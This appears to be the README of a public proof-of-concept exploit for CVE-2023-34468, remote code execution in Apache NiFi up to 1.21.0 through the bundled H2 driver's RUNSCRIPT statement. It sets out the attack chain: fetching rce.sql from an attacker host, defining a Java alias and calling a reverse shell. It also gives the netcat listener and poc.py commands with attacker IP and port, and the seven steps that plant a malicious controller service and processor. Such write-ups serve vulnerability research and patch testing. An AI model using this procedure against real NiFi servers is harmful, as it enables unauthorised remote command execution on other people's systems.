sbouabid-sec/cve-2023-34468-pocPoC exploit for CVE-2023-34468 — RCE via H2 RUNSCRIPT in Apache NiFi <= 1.21.0
Remote Code Execution via H2 Database RUNSCRIPT in Apache NiFi <= 1.21.0
Apache NiFi ships with an H2 database JAR bundled by default. The DBCPConnectionPool
controller service can be configured to use this H2 driver. H2 supports a RUNSCRIPT
statement that fetches and executes a SQL file from a remote URL. That SQL file can define
arbitrary Java code via CREATE ALIAS and execute it on the server OS.
Attack chain:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| Software | Version |
|---|---|
| Apache NiFi | <= 1.21.0 |
| Fixed in | 1.21.1+ |
| Java | Any (bundled) |
requests library → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
Terminal 1 — listener:
nc -lvnp 4444
Terminal 2 — exploit:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 Check anonymous access and write permissions
Step 2 Get root Process Group ID
Step 3 Create malicious DBCPConnectionPool controller service
Step 4 Enable the controller service (handles revision versioning)
Step 5 Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6 Start the processor → NiFi fetches rce.sql → shell callback
Step 7 Cleanup (if --cleanup flag is set)
| Argument | Default | Description |
|---|
--target | http://NiFi.target.com | Target NiFi base URL |
--lhost | 10.10.10.10 | Your IP (tun0) |
--lport | 4444 | Reverse shell listener port |
--http-port | 80 | Port to serve rce.sql |
--cleanup | False | Delete created artifacts after run |